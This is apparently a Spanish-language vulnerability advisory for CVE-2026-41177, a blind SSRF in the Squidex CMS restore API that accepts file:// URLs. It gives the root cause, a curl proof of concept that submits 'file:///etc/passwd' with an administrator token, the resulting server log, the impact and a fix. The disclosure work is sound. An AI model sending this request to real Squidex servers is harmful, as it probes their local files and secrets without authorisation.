
CVE-2026-41177, una vulnerabilidad Blind SSRF en Squidex CMS (anterior a v7.23.0). Incluye análisis de causa raíz, pasos de reproducción y evaluación de impacto respecto a la Interacción con Archivos Locales (LFI).
Investigación y análisis técnico de CVE-2026-41177: una vulnerabilidad de Server-Side Request Forgery (SSRF) ciego en la API de Restauración de Squidex CMS.
/api/apps/restore)La API de Restauración de Squidex es vulnerable a Server-Side Request Forgery (SSRF) ciego. La aplicación no valida el esquema de URI del parámetro Url proporcionado por el usuario, lo que permite el uso del protocolo file://. Esto permite que un administrador autenticado fuerce al servidor backend a interactuar con el sistema de archivos local, lo que conduce a Interacción con Archivos Locales (LFI) y a la posible divulgación de información sensible del sistema mediante análisis de canal lateral de los registros internos.
file:///etc/passwd).RestoreJob).204 No Content, los registros internos del servidor revelan que el servidor abrió y leyó el archivo con éxito antes de fallar porque el contenido no era un archivo ZIP válido.Ejecute el siguiente comando curl (reemplace <TOKEN> con un token de administrador válido):
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
El siguiente error en los registros del contenedor de Squidex confirma la interacción interna con el archivo:
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
Nota: La InvalidDataException confirma que el servidor accedió y leyó con éxito los bytes del archivo.
Esta vulnerabilidad permite a atacantes autenticados:
appsettings.json, secretos).http:// y https://.file:// antes del procesamiento.